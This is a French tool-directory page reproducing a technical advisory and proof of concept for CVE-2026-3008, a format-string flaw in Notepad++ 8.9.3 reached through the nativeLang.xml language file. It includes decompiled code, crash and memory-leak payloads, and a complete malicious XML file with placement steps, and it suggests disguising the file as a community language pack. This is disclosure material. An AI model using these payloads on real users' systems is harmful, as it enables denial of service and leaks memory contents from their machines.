Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3008 — Analyse technique et preuve de concept pour CVE-2026-3008, une injection de chaîne de format dans Notepad++ 8.9.3 via nativeLang.xml, permettant un déni de service et une divulgation d'informations. | Kitploit
Outils/GitHubGitHub/llgsjsm/cve-2026-3008
Analyse des VulnérabilitésExploitationSécurité WebAnalyse de MalwareAnalyse de Binaires
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

Analyse technique et preuve de concept pour CVE-2026-3008, une injection de chaîne de format dans Notepad++ 8.9.3 via nativeLang.xml, permettant un déni de service et une divulgation d'informations.

Voir le dépôt
il y a 4 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-3008 — Injection de chaîne de format dans Notepad++ 8.9.3 via nativeLang.xml

Vulnérabilité

Lorsqu'une opération de recherche produit des résultats, sub_1400916C0 formate une étiquette de nombre de résultats en récupérant une chaîne localisée depuis nativeLang.xml et en la passant directement comme chaîne de format à wsprintfW :

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 is the format string

La chaîne provient de l'attribut <find-result-hits> dans nativeLang.xml sans aucune validation à aucun moment du flux de données :

root@kitploit:~
nativeLang.xml
  → Analyseur TinyXML        (lit l'attribut XML, aucune validation du contenu)
  → NativeLangSpeaker        (conversion UTF-8 → UTF-16, aucune validation)
  → sub_140099E60            (substitution $INT_REPLACE$ — les spécificateurs de format survivent)
  → wsprintfW(buf, v38)      (v38 utilisé comme argument de chaîne de format, pas comme donnée)

wsprintfW est appelé avec seulement deux arguments — aucun argument de données variadique. Tout spécificateur de format dans v38 lit des valeurs depuis les emplacements d'arguments de la convention d'appel x64 (R8, R9, pile), qui contiennent des résidus de registres.


Composant affecté

ChampValeur
Fonctionsub_1400916C0 (initialisateur du panneau Résultats de recherche)
Adresse du sink0x140091E6D
DéclencheurToute recherche produisant des résultats (Tout rechercher, Rechercher dans les fichiers, Tout marquer, Tout remplacer)

sub_1400916C0 est appelée depuis quatre sites dans le WndProc de FindResults (sub_140089BF0) :

AdresseDéclencheur
0x14008B63BRechercher dans les fichiers
0x14008B72DTout rechercher dans le document courant / tous les documents
0x14008B97ETout remplacer
0x14008B9FETout marquer

Impact

Crash — %s (DoS)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

Chaque %s interprète une valeur de registre ou de pile résiduelle comme un pointeur WCHAR*. La première adresse invalide déclenche une violation d'accès immédiate (STATUS_ACCESS_VIOLATION, 0xC0000005). Notepad++ plante à chaque recherche ultérieure jusqu'à ce que le fichier malveillant soit supprimé — DoS fiable et en un coup.

Divulgation d'informations — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

Le contenu de la pile et des registres est lu comme des valeurs DWORD et formaté en hexadécimal, visible dans l'onglet du panneau Résultats de recherche. Sortie observée lors d'un test en direct :

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

Des valeurs telles que 5852bb18 et 7b1052e0 sont des fragments de pointeurs 64 bits tronqués.

Plafond d'exploitation

wsprintfW (user32.dll) ne prend pas en charge %n — il n'existe aucune primitive d'écriture où que ce soit. Sa limite de sortie codée en dur de 1024 caractères correspond exactement à la taille du tampon de destination, ce qui exclut tout débordement de tampon sur le tas. La vulnérabilité est confirmée comme DoS + divulgation d'informations. L'exécution de code n'est pas réalisable via cette seule chaîne de format.


Vecteur d'attaque

nativeLang.xml n'existe pas par défaut — les installations en anglais ne sont pas affectées. Lorsqu'un utilisateur sélectionne une langue non anglaise via Paramètres → Préférences → Général → Localisation, Notepad++ écrit le fichier correspondant à :

ÉditionChemin
Installateur%APPDATA%\Notepad++\nativeLang.xml
Portable<répertoire_npp>\nativeLang.xml

Sur les 94 fichiers de localisation fournis, 43 contiennent l'élément <find-result-hits>. Les utilisateurs de ces langues sont vulnérables si leur nativeLang.xml est falsifié — par exemple, via un pack de langue communautaire malveillant distribué sur des forums ou des sites de téléchargement. L'attaquant peut inclure des traductions légitimes pour toutes les autres chaînes, rendant le fichier d'apparence normale.


Preuve de concept

Placez le fichier suivant à <répertoire_npp>\nativeLang.xml (portable) ou %APPDATA%\Notepad++\nativeLang.xml (installateur), puis ouvrez Notepad++ et effectuez une recherche qui produit des résultats (Ctrl+F → Tout rechercher dans le document courant).

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

Résultat : Notepad++ plante immédiatement avec une violation d'accès dans wsprintfW.

Des variantes de payload supplémentaires se trouvent dans le répertoire payloads/.

Télécharger l’outil